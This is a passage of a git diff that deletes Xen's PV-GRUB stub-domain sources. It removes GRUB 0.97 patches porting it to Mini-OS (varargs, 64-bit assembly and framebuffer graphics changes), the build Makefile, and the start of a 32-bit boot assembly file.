- extern void etherboot_printf (const char *, ...);
- extern int etherboot_sprintf (char *, const char *, ...);
-Index: grub/stage2/common.c
-===================================================================
---- grub.orig/stage2/common.c	2008-06-16 15:18:03.366934000 +0100
-+++ grub/stage2/common.c	2008-06-16 15:18:14.764009000 +0100
-@@ -137,6 +137,7 @@
- }
- #endif /* ! STAGE1_5 */
- 
-+#ifndef __MINIOS__
- /* This queries for BIOS information.  */
- void
- init_bios_info (void)
-@@ -335,3 +336,4 @@
-   /* Start main routine here.  */
-   cmain ();
- }
-+#endif
-Index: grub/stage2/serial.c
-===================================================================
---- grub.orig/stage2/serial.c	2008-06-16 15:18:03.376934000 +0100
-+++ grub/stage2/serial.c	2008-06-16 15:18:14.769009000 +0100
-@@ -37,7 +37,7 @@
- 
- /* Hardware-dependent definitions.  */
- 
--#ifndef GRUB_UTIL
-+#if !defined(GRUB_UTIL) && !defined(__MINIOS__)
- /* The structure for speed vs. divisor.  */
- struct divisor
- {
-@@ -222,6 +222,8 @@
-       {('3' | ('~' << 8)), 4},
-       {('5' | ('~' << 8)), 7},
-       {('6' | ('~' << 8)), 3},
-+      {('7' | ('~' << 8)), 1},
-+      {('8' | ('~' << 8)), 5},
-     };
-   
-   /* The buffer must start with ``ESC [''.  */
-Index: grub/stage2/tparm.c
-===================================================================
---- grub.orig/stage2/tparm.c	2008-06-16 15:18:03.390933000 +0100
-+++ grub/stage2/tparm.c	2008-06-16 15:18:14.774010000 +0100
-@@ -48,6 +48,7 @@
- #include "shared.h"
- 
- #include "tparm.h"
-+#include <stdarg.h>
- 
- /*
-  * Common/troublesome character definitions
-@@ -320,7 +321,7 @@
- #define isLOWER(c) ((c) >= 'a' && (c) <= 'z')
- 
- static inline char *
--tparam_internal(const char *string, int *dataptr)
-+tparam_internal(const char *string, va_list ap)
- {
- #define NUM_VARS 26
-     char *p_is_s[9];
-@@ -461,9 +462,9 @@
- 	 * a char* and an int may not be the same size on the stack.
- 	 */
- 	if (p_is_s[i] != 0) {
--	  p_is_s[i] = (char *)(*(dataptr++));
-+	  p_is_s[i] = va_arg(ap, char *);
- 	} else {
--	  param[i] = (int)(*(dataptr++));
-+	  param[i] = va_arg(ap, int);
- 	}
-     }
- 
-@@ -716,11 +717,13 @@
- grub_tparm(const char *string,...)
- {
-     char *result;
--    int *dataptr = (int *) &string;
-+    va_list ap;
- 
--    dataptr++;
-+    va_start(ap, string);
- 
--    result = tparam_internal(string, dataptr);
-+    result = tparam_internal(string, ap);
-+
-+    va_end(ap);
- 
-     return result;
- }
-Index: grub/stage2/fsys_iso9660.c
-===================================================================
---- grub.orig/stage2/fsys_iso9660.c	2008-06-16 15:18:03.400933000 +0100
-+++ grub/stage2/fsys_iso9660.c	2008-06-16 15:18:14.779009000 +0100
-@@ -59,7 +59,14 @@
- static inline unsigned long
- log2 (unsigned long word)
- {
--  asm volatile ("bsfl %1,%0"
-+  asm volatile ("bsf"
-+#ifdef __i386__
-+		  "l"
-+#endif
-+#ifdef __x86_64__
-+		  "q"
-+#endif
-+		  " %1,%0"
- 		:          "=r" (word)
- 		:          "r" (word));
-   return word;
-Index: grub/stage2/fsys_reiserfs.c
-===================================================================
---- grub.orig/stage2/fsys_reiserfs.c	2008-06-16 15:18:03.410933000 +0100
-+++ grub/stage2/fsys_reiserfs.c	2008-06-20 18:33:52.002100000 +0100
-@@ -224,8 +224,8 @@
- 
- struct disk_child
- {
--  unsigned long       dc_block_number;              /* Disk child's block number. */
--  unsigned short      dc_size;		            /* Disk child's used space.   */
-+  __u32       dc_block_number;              /* Disk child's block number. */
-+  __u16      dc_size;		            /* Disk child's used space.   */
- };
- 
- #define DC_SIZE (sizeof (struct disk_child))
-@@ -369,7 +369,14 @@
- static __inline__ unsigned long
- log2 (unsigned long word)
- {
--  __asm__ ("bsfl %1,%0"
-+  __asm__ ("bsf"
-+#ifdef __i386__
-+		  "l"
-+#endif
-+#ifdef __x86_64__
-+		  "q"
-+#endif
-+		  " %1,%0"
- 	   : "=r" (word)
- 	   : "r" (word));
-   return word;
-Index: grub/netboot/misc.c
-===================================================================
---- grub.orig/netboot/misc.c	2008-06-16 15:18:03.456934000 +0100
-+++ grub/netboot/misc.c	2008-06-16 15:18:14.790009000 +0100
-@@ -21,7 +21,9 @@
- 
- #define GRUB	1
- #include <etherboot.h>
-+#include <stdarg.h>
- 
-+#ifndef __MINIOS__
- void
- sleep (int secs)
- {
-@@ -30,6 +32,7 @@
-   while (currticks () < tmo)
-     ;
- }
-+#endif
- 
- void
- twiddle (void)
-@@ -71,7 +74,7 @@
- 	Note: width specification not supported
- **************************************************************************/
- static int
--etherboot_vsprintf (char *buf, const char *fmt, const int *dp)
-+etherboot_vsprintf (char *buf, const char *fmt, va_list ap)
- {
-   char *p, *s;
-   
-@@ -86,7 +89,7 @@
-       
-       if (*++fmt == 's')
- 	{
--	  for (p = (char *) *dp++; *p != '\0'; p++)
-+	  for (p = va_arg(ap, char *); *p != '\0'; p++)
- 	    buf ? *s++ = *p : grub_putchar (*p);
- 	}
-       else
-@@ -121,11 +124,9 @@
- 	  if ((*fmt | 0x20) == 'x')
- 	    {
- 	      /* With x86 gcc, sizeof(long) == sizeof(int) */
--	      const long *lp = (const long *) dp;
--	      long h = *lp++;
-+	      long h = va_arg(ap, int);
- 	      int ncase = (*fmt & 0x20);
- 	      
--	      dp = (const int *) lp;
- 	      if (alt)
- 		{
- 		  *q++ = '0';
-@@ -136,7 +137,7 @@
- 	    }
- 	  else if (*fmt == 'd')
- 	    {
--	      int i = *dp++;
-+	      int i = va_arg(ap, int);
- 	      char *r;
- 	      
- 	      if (i < 0)
-@@ -171,10 +172,8 @@
- 		unsigned char	c[4];
- 	      }
- 	      u;
--	      const long *lp = (const long *) dp;
- 	      
--	      u.l = *lp++;
--	      dp = (const int *) lp;
-+	      u.l = va_arg(ap, int);
- 	      
- 	      for (r = &u.c[0]; r < &u.c[4]; ++r)
- 		q += etherboot_sprintf (q, "%d.", *r);
-@@ -184,7 +183,7 @@
- 	  else if (*fmt == '!')
- 	    {
- 	      char *r;
--	      p = (char *) *dp++;
-+	      p = va_arg(ap, char *);
- 	      
- 	      for (r = p + ETH_ALEN; p < r; ++p)
- 		q += etherboot_sprintf (q, "%hhX:", *p);
-@@ -192,7 +191,7 @@
- 	      --q;
- 	    }
- 	  else if (*fmt == 'c')
--	    *q++ = *dp++;
-+	    *q++ = va_arg(ap, int);
- 	  else
- 	    *q++ = *fmt;
- 	  
-@@ -211,13 +210,21 @@
- int
- etherboot_sprintf (char *buf, const char *fmt, ...)
- {
--  return etherboot_vsprintf (buf, fmt, ((const int *) &fmt) + 1);
-+  va_list ap;
-+  int ret;
-+  va_start(ap, fmt);
-+  ret = etherboot_vsprintf (buf, fmt, ap);
-+  va_end(ap);
-+  return ret;
- }
- 
- void
- etherboot_printf (const char *fmt, ...)
- {
--  (void) etherboot_vsprintf (0, fmt, ((const int *) &fmt) + 1);
-+  va_list ap;
-+  va_start(ap, fmt);
-+  etherboot_vsprintf (0, fmt, ap);
-+  va_end(ap);
- }
- 
- int
-Index: grub/netboot/main.c
-===================================================================
---- grub.orig/netboot/main.c	2008-06-16 15:18:03.470932000 +0100
-+++ grub/netboot/main.c	2008-06-16 15:18:14.797009000 +0100
-@@ -55,7 +55,7 @@
- static int vendorext_isvalid;
- static unsigned long netmask;
- static struct bootpd_t bootp_data;
--static unsigned long xid;
-+static unsigned int xid;
- 
- #define	BOOTP_DATA_ADDR	(&bootp_data)
- 
-@@ -778,7 +778,7 @@
- 
- 	      arpreply = (struct arprequest *) &nic.packet[ETH_HLEN];
- 	      
--	      if (arpreply->opcode == htons (ARP_REPLY)
-+	      if (arpreply->opcode == htons (ARP_REPLY) && ptr
- 		  && ! grub_memcmp (arpreply->sipaddr, ptr, sizeof (in_addr))
- 		  && type == AWAIT_ARP)
- 		{
-@@ -827,7 +827,7 @@
- 	    {
- 	      arpreply = (struct arprequest *) &nic.packet[ETH_HLEN];
- 	      
--	      if (arpreply->opcode == htons (RARP_REPLY)
-+	      if (arpreply->opcode == htons (RARP_REPLY) && ptr
- 		  && ! grub_memcmp (arpreply->thwaddr, ptr, ETH_ALEN))
- 		{
- 		  grub_memmove ((char *) arptable[ARP_SERVER].node,
-@@ -1135,7 +1135,7 @@
- long
- rfc2131_sleep_interval (int base, int exp)
- {
--  static long seed = 0;
-+  static unsigned seed = 0;
-   long q;
-   unsigned long tmo;
-   
-Index: grub/stage2/graphics.c
-===================================================================
---- grub.orig/stage2/graphics.c	2008-06-16 15:18:14.524009000 +0100
-+++ grub/stage2/graphics.c	2008-06-17 14:29:05.204328000 +0100
-@@ -30,7 +30,29 @@
- #include <shared.h>
- #include <graphics.h>
- 
-+#ifdef __MINIOS__
-+#include <stdint.h>
-+typedef uint8_t Bit8u;
-+#include <vgafonts.h>
-+#include <fbfront.h>
-+#include <malloc.h>
-+#define set_int1c_handler() (void)0
-+#define unset_int1c_handler() (void)0
-+static uint32_t *VIDEOMEM;
-+static struct fbfront_dev *fb_dev;
-+static uint32_t palette[17];
-+short cursorX, cursorY;
-+/* TODO: blink */
-+uint32_t cursorBuf32[16*8];
-+#define WIDTH 640
-+#define HEIGHT 480
-+#define DEPTH 32
-+#define RAMSIZE (WIDTH * HEIGHT * (DEPTH / 8))
-+#else
-+#define fbfront_update(dev, x, y, w, h) (void)0
- int saved_videomode;
-+#endif
-+
- unsigned char *font8x16;
- 
- int graphics_inited = 0;
-@@ -38,11 +60,15 @@
- 
- int shade = 1, no_cursor = 0;
- 
-+#ifdef __MINIOS__
-+uint32_t VSHADOW[RAMSIZE];
-+#else
- #define VSHADOW VSHADOW1
- unsigned char VSHADOW1[38400];
- unsigned char VSHADOW2[38400];
- unsigned char VSHADOW4[38400];
- unsigned char VSHADOW8[38400];
-+#endif
- 
- /* define the default viewable area */
- int view_x0 = 0;
-@@ -129,6 +155,8 @@
-     count_lines = k;
- 
-     no_scroll = 0;
-+
-+    fbfront_update(fb_dev, view_x0 * 8, view_y0 * 16, (view_x1 - view_x0) * 8, (view_y1 - view_y0) * 16);
- }
- 
- /* Set the splash image */
-@@ -154,17 +182,29 @@
- int graphics_init()
- {
-     if (!graphics_inited) {
-+#ifdef __MINIOS__
-+	VIDEOMEM = memalign(PAGE_SIZE, RAMSIZE);
-+	if (!(fb_dev = fb_open(VIDEOMEM, WIDTH, HEIGHT, DEPTH))) {
-+	    free(VIDEOMEM);
-+	    return 0;
-+	}
-+#else
-         saved_videomode = set_videomode(0x12);
-         if (get_videomode() != 0x12) {
-             set_videomode(saved_videomode);
-             return 0;
-         }
-+#endif
-         graphics_inited = 1;
-     }
-     else
-         return 1;
- 
-+#ifdef __MINIOS__
-+    font8x16 = vgafont16;
-+#else
-     font8x16 = (unsigned char*)graphics_get_font();
-+#endif
- 
-     /* make sure that the highlight color is set correctly */
-     graphics_highlight_color = ((graphics_normal_color >> 4) | 
-@@ -176,7 +216,11 @@
-         grub_printf("Failed to read splash image (%s)\n", splashimage);
-         grub_printf("Press any key to continue...");
-         getkey();
-+#ifdef __MINIOS__
-+	fb_close();
-+#else
-         set_videomode(saved_videomode);
-+#endif
-         graphics_inited = 0;
-         return 0;
-     }
-@@ -190,8 +234,13 @@
- void graphics_end(void)
- {
-     if (graphics_inited) {
-+#ifdef __MINIOS__
-+	fb_close();
-+	free(VIDEOMEM);
-+#else
-         unset_int1c_handler();
-         set_videomode(saved_videomode);
-+#endif
-         graphics_inited = 0;
-         no_cursor = 0;
-     }
-@@ -204,15 +253,19 @@
-     graphics_cursor(0);
- 
-     if (ch == '\n') {
-+	fbfront_update(fb_dev, cursorX, cursorY, 8, 16);
-         if (fonty + 1 < view_y1)
-             graphics_setxy(fontx, fonty + 1);
-         else
-             graphics_scroll();
-         graphics_cursor(1);
-+	fbfront_update(fb_dev, cursorX, cursorY, 8, 16);
-         return;
-     } else if (ch == '\r') {
-+	fbfront_update(fb_dev, cursorX, cursorY, 8, 16);
-         graphics_setxy(view_x0, fonty);
-         graphics_cursor(1);
-+	fbfront_update(fb_dev, cursorX, cursorY, 8, 16);
-         return;
-     }
- 
-@@ -224,6 +277,7 @@
-         text[fonty * 80 + fontx] |= 0x100;
- 
-     graphics_cursor(0);
-+    fbfront_update(fb_dev, cursorX, cursorY, 8, 16);
- 
-     if ((fontx + 1) >= view_x1) {
-         graphics_setxy(view_x0, fonty);
-@@ -232,13 +286,16 @@
-         else
-             graphics_scroll();
-         graphics_cursor(1);
-+	fbfront_update(fb_dev, cursorX, cursorY, 8, 16);
-         do_more ();
-         graphics_cursor(0);
-+	fbfront_update(fb_dev, cursorX, cursorY, 8, 16);
-     } else {
-         graphics_setxy(fontx + 1, fonty);
-     }
- 
-     graphics_cursor(1);
-+    fbfront_update(fb_dev, cursorX, cursorY, 8, 16);
- }
- 
- /* get the current location of the cursor */
-@@ -248,10 +305,12 @@
- 
- void graphics_gotoxy(int x, int y) {
-     graphics_cursor(0);
-+    fbfront_update(fb_dev, cursorX, cursorY, 8, 16);
- 
-     graphics_setxy(x, y);
- 
-     graphics_cursor(1);
-+    fbfront_update(fb_dev, cursorX, cursorY, 8, 16);
- }
- 
- void graphics_cls(void) {
-@@ -262,15 +321,21 @@
-     graphics_gotoxy(view_x0, view_y0);
- 
-     mem = (unsigned char*)VIDEOMEM;
-+#ifndef __MINIOS__
-     s1 = (unsigned char*)VSHADOW1;
-     s2 = (unsigned char*)VSHADOW2;
-     s4 = (unsigned char*)VSHADOW4;
-     s8 = (unsigned char*)VSHADOW8;
-+#endif
- 
-     for (i = 0; i < 80 * 30; i++)
-         text[i] = ' ';
-     graphics_cursor(1);
- 
-+#ifdef __MINIOS__
-+    memcpy(mem, VSHADOW, RAMSIZE);
-+    fbfront_update(fb_dev, 0, 0, 640, 480);
-+#else
-     BitMask(0xff);
- 
-     /* plane 1 */
-@@ -290,6 +355,7 @@
-     grub_memcpy(mem, s8, 38400);
- 
-     MapMask(15);
-+#endif
- 
-     if (no_cursor) {
-         no_cursor = 0;
-@@ -337,6 +403,11 @@
-     return 0;
- }
- 
-+void graphics_set_palette(int idx, int red, int green, int blue)
-+{
-+    palette[idx] = (red << (16 + 2)) | (green << (8 + 2)) | (blue << 2);
-+}
-+
- /* Read in the splashscreen image and set the palette up appropriately.
-  * Format of splashscreen is an xpm (can be gzipped) with 16 colors and
-  * 640x480. */
-@@ -413,18 +484,19 @@
-         }
- 
-         if (len == 6 && idx < 15) {
--            int r = ((hex(buf[0]) << 4) | hex(buf[1])) >> 2;
--            int g = ((hex(buf[2]) << 4) | hex(buf[3])) >> 2;
--            int b = ((hex(buf[4]) << 4) | hex(buf[5])) >> 2;
-+            int r = ((hex(buf[0]) << 4) | hex(buf[1]));
-+            int g = ((hex(buf[2]) << 4) | hex(buf[3]));
-+            int b = ((hex(buf[4]) << 4) | hex(buf[5]));
- 
-             pal[idx] = base;
--            graphics_set_palette(idx, r, g, b);
-+            graphics_set_palette(idx, r / 4, g / 4, b / 4);
-             ++idx;
-         }
-     }
- 
-     x = y = len = 0;
- 
-+#ifndef __MINIOS__
-     s1 = (unsigned char*)VSHADOW1;
-     s2 = (unsigned char*)VSHADOW2;
-     s4 = (unsigned char*)VSHADOW4;
-@@ -432,6 +504,7 @@
- 
-     for (i = 0; i < 38400; i++)
-         s1[i] = s2[i] = s4[i] = s8[i] = 0;
-+#endif
- 
-     /* parse xpm data */
-     while (y < height) {
-@@ -451,6 +524,9 @@
-                     break;
-                 }
- 
-+#ifdef __MINIOS__
-+	    VSHADOW[x + y * 640] = palette[i];
-+#else
-             mask = 0x80 >> (x & 7);
-             if (c & 1)
-                 s1[len + (x >> 3)] |= mask;
-@@ -460,6 +536,7 @@
-                 s4[len + (x >> 3)] |= mask;
-             if (c & 8)
-                 s8[len + (x >> 3)] |= mask;
-+#endif
- 
-             if (++x >= 640) {
-                 x = 0;
-@@ -494,7 +571,13 @@
- }
- 
- void graphics_cursor(int set) {
--    unsigned char *pat, *mem, *ptr, chr[16 << 2];
-+    unsigned char *pat;
-+#ifdef __MINIOS__
-+    uint32_t *mem, *ptr, chr[16 * 8];
-+    int j;
-+#else
-+    unsigned char *mem, *ptr, chr[16 << 2];
-+#endif
-     int i, ch, invert, offset;
- 
-     if (set && (no_cursor || no_scroll))
-@@ -505,71 +588,127 @@
-     invert = (text[fonty * 80 + fontx] & 0xff00) != 0;
-     pat = font8x16 + (ch << 4);
- 
--    mem = (unsigned char*)VIDEOMEM + offset;
-+    mem = (unsigned char*)VIDEOMEM + offset
-+#ifdef __MINIOS__
-+	* 8 * 4
-+#endif
-+	;
- 
-     if (!set) {
-         for (i = 0; i < 16; i++) {
-             unsigned char mask = pat[i];
- 
-             if (!invert) {
-+#ifdef __MINIOS__
-+		memcpy(chr + i * 8, VSHADOW + offset * 8, 8 * 4);
-+#else
-                 chr[i     ] = ((unsigned char*)VSHADOW1)[offset];
-                 chr[16 + i] = ((unsigned char*)VSHADOW2)[offset];
-                 chr[32 + i] = ((unsigned char*)VSHADOW4)[offset];
-                 chr[48 + i] = ((unsigned char*)VSHADOW8)[offset];
-+#endif
- 
-                 if (shade) {
-                     if (ch == DISP_VERT || ch == DISP_LL ||
-                         ch == DISP_UR || ch == DISP_LR) {
-                         unsigned char pmask = ~(pat[i] >> 1);
- 
-+#ifdef __MINIOS__
-+			for (j = 0; j < 8; j++)
-+			    if (!(pmask & (1U << j)))
-+				chr[i * 8 + (7 - j)] = palette[0];
-+#else
-                         chr[i     ] &= pmask;
-                         chr[16 + i] &= pmask;
-                         chr[32 + i] &= pmask;
-                         chr[48 + i] &= pmask;
-+#endif
-                     }
-                     if (i > 0 && ch != DISP_VERT) {
-                         unsigned char pmask = ~(pat[i - 1] >> 1);
- 
-+#ifdef __MINIOS__
-+			for (j = 0; j < 8; j++)
-+			    if (!(pmask & (1U << j)))
-+				chr[i * 8 + (7 - j)] = palette[0];
-+#else
-                         chr[i     ] &= pmask;
-                         chr[16 + i] &= pmask;
-                         chr[32 + i] &= pmask;
-                         chr[48 + i] &= pmask;
-+#endif
-                         if (ch == DISP_HORIZ || ch == DISP_UR || ch == DISP_LR) {
-                             pmask = ~pat[i - 1];
- 
-+#ifdef __MINIOS__
-+			    for (j = 0; j < 8; j++)
-+				if (!(pmask & (1U << j)))
-+				    chr[i * 8 + (7 - j)] = palette[0];
-+#else
-                             chr[i     ] &= pmask;
-                             chr[16 + i] &= pmask;
-                             chr[32 + i] &= pmask;
-                             chr[48 + i] &= pmask;
-+#endif
-                         }
-                     }
-                 }
-+#ifdef __MINIOS__
-+		for (j = 0; j < 8; j++)
-+		    if (mask & (1U << j))
-+			chr[i * 8 + (7 - j)] = palette[15];
-+#else
-                 chr[i     ] |= mask;
-                 chr[16 + i] |= mask;
-                 chr[32 + i] |= mask;
-                 chr[48 + i] |= mask;
-+#endif
- 
-                 offset += 80;
-             }
-             else {
-+#ifdef __MINIOS__
-+		for (j = 0; j < 8; j++)
-+		    if (mask & (1U << j))
-+			chr[i * 8 + (7 - j)] = palette[15];
-+		    else
-+			chr[i * 8 + (7 - j)] = palette[0];
-+#else
-                 chr[i     ] = mask;
-                 chr[16 + i] = mask;
-                 chr[32 + i] = mask;
-                 chr[48 + i] = mask;
-+#endif
-             }
-         }
-     }
-     else {
-+#ifdef __MINIOS__
-+        ptr = mem;
-+        for (i = 0; i < 16; i++, ptr += 80 * 8)
-+	    for (j = 0; j < 8; j++) {
-+		if (pat[i] & (1U << (7 - j)))
-+		    cursorBuf32[i * 8 + j] = ptr[j] = palette[0];
-+		else
-+		    cursorBuf32[i * 8 + j] = ptr[j] = palette[15];
-+	    }
-+#else
-         MapMask(15);
-         ptr = mem;
-         for (i = 0; i < 16; i++, ptr += 80) {
-             cursorBuf[i] = pat[i];
-             *ptr = ~pat[i];
-         }
-+#endif
-         return;
-     }
- 
-     offset = 0;
-+#ifdef __MINIOS__
-+    ptr = mem;
-+    for (j = 0; j < 16; j++, ptr += 80 * 8)
-+	memcpy(ptr, chr + j * 8 + offset * 8, 8 * 4);
-+#else
-     for (i = 1; i < 16; i <<= 1, offset += 16) {
-         int j;
- 
-@@ -580,6 +719,7 @@
-     }
- 
-     MapMask(15);
-+#endif
- }
- 
- #endif /* SUPPORT_GRAPHICS */
-Index: grub/stage2/graphics.h
-===================================================================
---- grub.orig/stage2/graphics.h	2008-06-16 15:18:14.527010000 +0100
-+++ grub/stage2/graphics.h	2008-06-16 15:18:14.805010000 +0100
-@@ -21,8 +21,10 @@
- #ifndef GRAPHICS_H
- #define GRAPHICS_H
- 
-+#ifndef __MINIOS__
- /* magic constant */
- #define VIDEOMEM 0xA0000
-+#endif
- 
- /* function prototypes */
- char *graphics_get_splash(void);
-Index: grub/stage2/stage2.c
-===================================================================
---- grub.orig/stage2/stage2.c	2008-06-17 11:06:47.873523000 +0100
-+++ grub/stage2/stage2.c	2008-06-17 11:07:05.225628000 +0100
-@@ -31,10 +31,10 @@
- #if defined(PRESET_MENU_STRING) || defined(SUPPORT_DISKLESS)
- 
- # if defined(PRESET_MENU_STRING)
--static const char *preset_menu = PRESET_MENU_STRING;
-+const char *preset_menu = PRESET_MENU_STRING;
- # elif defined(SUPPORT_DISKLESS)
- /* Execute the command "bootp" automatically.  */
--static const char *preset_menu = "bootp\n";
-+const char *preset_menu = "bootp\n";
- # endif /* SUPPORT_DISKLESS */
- 
- static int preset_menu_offset;
-Index: grub/stage2/fsys_xfs.c
-===================================================================
-RCS file: /sources/grub/grub/stage2/fsys_xfs.c,v
-retrieving revision 1.5
-diff -u -p -r1.5 fsys_xfs.c
---- grub/stage2/fsys_xfs.c	8 May 2005 02:18:14 -0000	1.5
-+++ grub/stage2/fsys_xfs.c	10 Jul 2008 13:09:50 -0000
-@@ -101,7 +101,7 @@ static inline __const__ xfs_uint16_t
- le16 (xfs_uint16_t x)
- {
- 	__asm__("xchgb %b0,%h0"	\
--		: "=q" (x) \
-+		: "=Q" (x) \
- 		:  "0" (x)); \
- 		return x;
- }
-@@ -109,9 +109,9 @@ le16 (xfs_uint16_t x)
- static inline __const__ xfs_uint32_t
- le32 (xfs_uint32_t x)
- {
--#if 0
-+#if 1
-         /* 386 doesn't have bswap.  */
--	__asm__("bswap %0" : "=r" (x) : "0" (x));
-+	__asm__("bswapl %k0" : "=r" (x) : "0" (x));
- #else
- 	/* This is slower but this works on all x86 architectures.  */
- 	__asm__("xchgb %b0, %h0" \
---- grub.orig/stage2/gunzip.c	2010-03-07 23:03:34.000000000 +0100
-+++ grub/stage2/gunzip.c	2010-03-07 23:05:36.000000000 +0100
-@@ -141,7 +141,7 @@
- static int gzip_filemax;
- static int gzip_fsmax;
- static int saved_filepos;
--static unsigned long gzip_crc;
-+static unsigned int gzip_crc;
- 
- /* internal extra variables for use of inflate code */
- static int block_type;
-@@ -157,7 +157,7 @@
-  *  Linear allocator.
-  */
- 
--static unsigned long linalloc_topaddr;
-+static unsigned int linalloc_topaddr;
- 
- static void *
- linalloc (int size)
-@@ -253,7 +253,7 @@
- 
- typedef unsigned char uch;
- typedef unsigned short ush;
--typedef unsigned long ulg;
-+typedef unsigned int ulg;
- 
- /*
-  *  Window Size
-@@ -316,8 +316,8 @@
-       return 0;
-     }
- 
--  gzip_crc = *((unsigned long *) buf);
--  gzip_fsmax = gzip_filemax = *((unsigned long *) (buf + 4));
-+  gzip_crc = *((unsigned int *) buf);
-+  gzip_fsmax = gzip_filemax = *((unsigned int *) (buf + 4));
- 
-   initialize_tables ();
- 
-diff -ur grub.orig/stage2/fsys_iso9660.c grub-upstream/stage2/fsys_iso9660.c
---- grub.orig/stage2/fsys_iso9660.c	2010-03-07 23:39:00.000000000 +0100
-+++ grub/stage2/fsys_iso9660.c	2010-03-07 23:39:56.000000000 +0100
-@@ -43,7 +43,7 @@
- 
- /* iso fs inode data in memory */
- struct iso_inode_info {
--  unsigned long file_start;
-+  unsigned int file_start;
- };
- 
- #define ISO_SUPER	\
-@@ -88,12 +88,12 @@
-   if (byte_len <= 0)
-     return 1;
- 
--  sector += (byte_offset >> sector_size_lg2);
--  byte_offset &= (buf_geom.sector_size - 1);
-   asm volatile ("shl%L0 %1,%0"
- 		: "=r"(sector)
- 		: "Ic"((int8_t)(ISO_SECTOR_BITS - sector_size_lg2)),
- 		"0"(sector));
-+  sector += (byte_offset >> sector_size_lg2);
-+  byte_offset &= (buf_geom.sector_size - 1);
- 
- #if !defined(STAGE1_5)
-   if (disk_read_hook && debug)
diff --git a/stubdom/grub/Makefile b/stubdom/grub/Makefile
deleted file mode 100644
index 7397661c9b..0000000000
--- a/stubdom/grub/Makefile
+++ /dev/null
@@ -1,88 +0,0 @@
-XEN_ROOT = $(CURDIR)/../..
-
-include $(XEN_ROOT)/Config.mk
-vpath %.c ../grub-upstream
-
-BOOT=$(OBJ_DIR)/boot-$(XEN_TARGET_ARCH).o
-
-DEF_CPPFLAGS += -I$(XEN_ROOT)/tools/libs/toollog/include
-DEF_CPPFLAGS += -I$(XEN_ROOT)/tools/libs/ctrl/include
-DEF_CPPFLAGS += -I$(XEN_ROOT)/tools/libs/guest/include
-DEF_CPPFLAGS += -I$(XEN_ROOT)/tools/include -I.
-DEF_CPPFLAGS += -I../grub-upstream/stage1
-DEF_CPPFLAGS += -I../grub-upstream/stage2
-DEF_CPPFLAGS += -I../grub-upstream/netboot
-DEF_CPPFLAGS += -I$(XEN_ROOT)/tools/firmware/vgabios
-DEF_CPPFLAGS += -DWITHOUT_LIBC_STUBS
-DEF_CPPFLAGS += -DSUPPORT_NETBOOT
-DEF_CPPFLAGS += -DSUPPORT_GRAPHICS
-DEF_CPPFLAGS += -DSUPPORT_SERIAL
-DEF_CPPFLAGS += -DPRESET_MENU_STRING='""'
-DEF_CPPFLAGS += -DPACKAGE='"grubdom"' -DVERSION='"0.97"'
-
-all: $(OBJ_DIR)/main.a
-
-STAGE2_SOURCES=builtins.c char_io.c cmdline.c common.c console.c disk_io.c graphics.c gunzip.c md5.c serial.c stage2.c terminfo.c tparm.c
-
-NETBOOT_SOURCES=fsys_tftp.c main.c misc.c
-CPPFLAGS += -DFSYS_TFTP=1
-
-STAGE2_SOURCES+=fsys_ext2fs.c
-CPPFLAGS += -DFSYS_EXT2FS=1
-
-STAGE2_SOURCES+=fsys_fat.c
-CPPFLAGS += -DFSYS_FAT=1
-
-STAGE2_SOURCES+=fsys_ffs.c
-CPPFLAGS += -DFSYS_FFS=1
-
-STAGE2_SOURCES+=fsys_iso9660.c
-CPPFLAGS += -DFSYS_ISO9660=1
-
-STAGE2_SOURCES+=fsys_jfs.c
-CPPFLAGS += -DFSYS_JFS=1
-
-STAGE2_SOURCES+=fsys_minix.c
-CPPFLAGS += -DFSYS_MINIX=1
-
-STAGE2_SOURCES+=fsys_reiserfs.c
-CPPFLAGS += -DFSYS_REISERFS=1
-
-STAGE2_SOURCES+=fsys_ufs2.c
-CPPFLAGS += -DFSYS_UFS2=1
-
-STAGE2_SOURCES+=fsys_vstafs.c
-CPPFLAGS += -DFSYS_VSTAFS=1
-
-STAGE2_SOURCES+=fsys_xfs.c
-CPPFLAGS += -DFSYS_XFS=1
-
-STAGE2_SOURCES:=$(addprefix stage2/,$(STAGE2_SOURCES))
-NETBOOT_SOURCES:=$(addprefix netboot/,$(NETBOOT_SOURCES))
-
-$(BOOT): DEF_CPPFLAGS+=-D__ASSEMBLY__
-
-PV_GRUB_SOURCES = kexec.c mini-os.c
-PV_GRUB_SOURCES += ../polarssl-$(XEN_TARGET_ARCH)/library/sha1.o
-
-SOURCES = $(NETBOOT_SOURCES) $(STAGE2_SOURCES) $(PV_GRUB_SOURCES)
-
-OBJS = $(addprefix $(OBJ_DIR)/,$(SOURCES:.c=.o))
-
-$(OBJ_DIR)/dirs:
-	mkdir -p $(OBJ_DIR)/netboot $(OBJ_DIR)/stage2
-	touch $@
-
-$(OBJS): $(OBJ_DIR)/dirs
-
-$(OBJ_DIR)/main.a: $(BOOT) $(OBJS)
-	$(AR) cr $@ $^
-
-$(OBJ_DIR)/%.o: %.c
-	$(CC) -c $(CPPFLAGS) $(CFLAGS) $< -o $@
-
-$(OBJ_DIR)/%.o: %.S
-	$(CC) -c $(CPPFLAGS) $(CFLAGS) $< -o $@
-
-clean:
-	rm -fr dirs *.a *.o stage2 netboot
diff --git a/stubdom/grub/boot-x86_32.S b/stubdom/grub/boot-x86_32.S
deleted file mode 100644
index c95fd30dd3..0000000000
--- a/stubdom/grub/boot-x86_32.S
+++ /dev/null
@@ -1,112 +0,0 @@
-#include <os.h>
-#include <arch_limits.h>
-#include <xen/arch-x86_32.h>
-
-/* For simplicity, we keep all of this into just one data page */
-.data
-.globl _boot_page
-_boot_page:
-        .align __PAGE_SIZE
-
-/*
- * The following data is initialized from C code
- */
-
-/* Pte of this page */
-.globl _boot_page_entry
-_boot_page_entry:
-_boot_page_entry_lo:
-        .long 0
-_boot_page_entry_hi:
-        .long 0
-
-/* mmuext_op structure */
-/* Set new page directory */
-_boot_mmuext:
-        /* Op # */
-        .long MMUEXT_NEW_BASEPTR
-
-        /* MFN of target page table directory */
-.globl _boot_pdmfn
-_boot_pdmfn:
-        .long 0
-
-        /* Unused */
-        .long 0
-
-/* Unpin old page directory */
-        /* Op # */
-        .long MMUEXT_UNPIN_TABLE
-
-        /* MFN of old page table directory */
-.globl _boot_oldpdmfn
-_boot_oldpdmfn:
-        .long 0
-
-        /* Unused */
-        .long 0
-
-/* Target stack address, also target virtual address of this page */
-.globl _boot_stack
-_boot_stack:
-        .long 0
-        .long __KERNEL_SS
-.globl _boot_target
-_boot_target:
-        .long 0
-
-/* Target start info */
-.globl _boot_start_info
-_boot_start_info:
-        .long 0
-
-/* Target start address */
-.globl _boot_start
-_boot_start:
